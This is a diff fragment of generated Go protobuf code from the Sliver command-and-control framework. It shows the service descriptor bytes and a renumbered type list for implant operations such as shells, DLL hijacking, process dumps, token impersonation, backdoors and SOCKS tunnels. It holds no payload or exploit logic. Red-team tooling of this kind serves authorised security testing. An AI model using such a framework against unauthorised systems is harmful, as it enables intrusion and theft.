0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38,
|
||||
0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
|
||||
0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50,
|
||||
0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12,
|
||||
0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65,
|
||||
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c,
|
||||
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
|
||||
0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65,
|
||||
0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45,
|
||||
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a,
|
||||
0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
|
||||
0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45,
|
||||
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65,
|
||||
0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72,
|
||||
0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46,
|
||||
0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a,
|
||||
0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63,
|
||||
0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b,
|
||||
0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65,
|
||||
0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
|
||||
0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43,
|
||||
0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57,
|
||||
0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
|
||||
0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c,
|
||||
0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
|
||||
0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
|
||||
0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72,
|
||||
0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43,
|
||||
0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44,
|
||||
0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74,
|
||||
0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43,
|
||||
0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a,
|
||||
0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45,
|
||||
0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
@@ -520,101 +532,105 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.RegistryReadReq)(nil), // 61: sliverpb.RegistryReadReq
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 62: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 63: sliverpb.RegistryCreateKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 64: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 65: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
|
||||
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 85: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 86: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 88: clientpb.Session
|
||||
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 91: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 101: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 110: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 119: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 126: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
|
||||
(*sliverpb.PivotListener)(nil), // 133: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 134: sliverpb.PivotListeners
|
||||
(*sliverpb.ServiceInfo)(nil), // 135: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 136: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 137: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 138: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 139: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 140: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 141: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 142: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 143: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 144: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 145: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 146: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 147: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 148: sliverpb.GetPrivs
|
||||
(*sliverpb.RegisterExtension)(nil), // 149: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 150: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 151: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 152: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 153: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 154: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 155: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 156: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 157: sliverpb.Portfwd
|
||||
(*clientpb.Event)(nil), // 158: clientpb.Event
|
||||
(*sliverpb.RegistryDeleteKeyReq)(nil), // 64: sliverpb.RegistryDeleteKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 65: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 66: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 67: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 68: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 69: sliverpb.GetPrivsReq
|
||||
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
|
||||
(*sliverpb.CloseSession)(nil), // 71: sliverpb.CloseSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 72: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 73: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 74: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 75: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 76: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 77: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 78: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 79: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 80: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 81: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 82: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 83: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 84: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 85: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 86: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 87: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 88: clientpb.Operators
|
||||
(*clientpb.Sessions)(nil), // 89: clientpb.Sessions
|
||||
(*clientpb.Session)(nil), // 90: clientpb.Session
|
||||
(*clientpb.Beacons)(nil), // 91: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 92: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 93: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 94: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 95: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 96: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 97: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 98: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 99: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 100: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 101: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 102: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 103: clientpb.Generate
|
||||
(*clientpb.ImplantBuilds)(nil), // 104: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 105: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 106: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 107: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 108: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 109: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 110: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 111: clientpb.Compiler
|
||||
(*clientpb.Websites)(nil), // 112: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 113: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 114: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 115: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 116: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 117: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 118: sliverpb.Pwd
|
||||
(*sliverpb.Rm)(nil), // 119: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 120: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 121: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 122: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 123: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 124: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 125: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 126: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 127: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 128: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 129: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 130: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 131: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 132: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 133: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 134: sliverpb.Screenshot
|
||||
(*sliverpb.PivotListener)(nil), // 135: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 136: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 137: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 138: sliverpb.ServiceInfo
|
||||
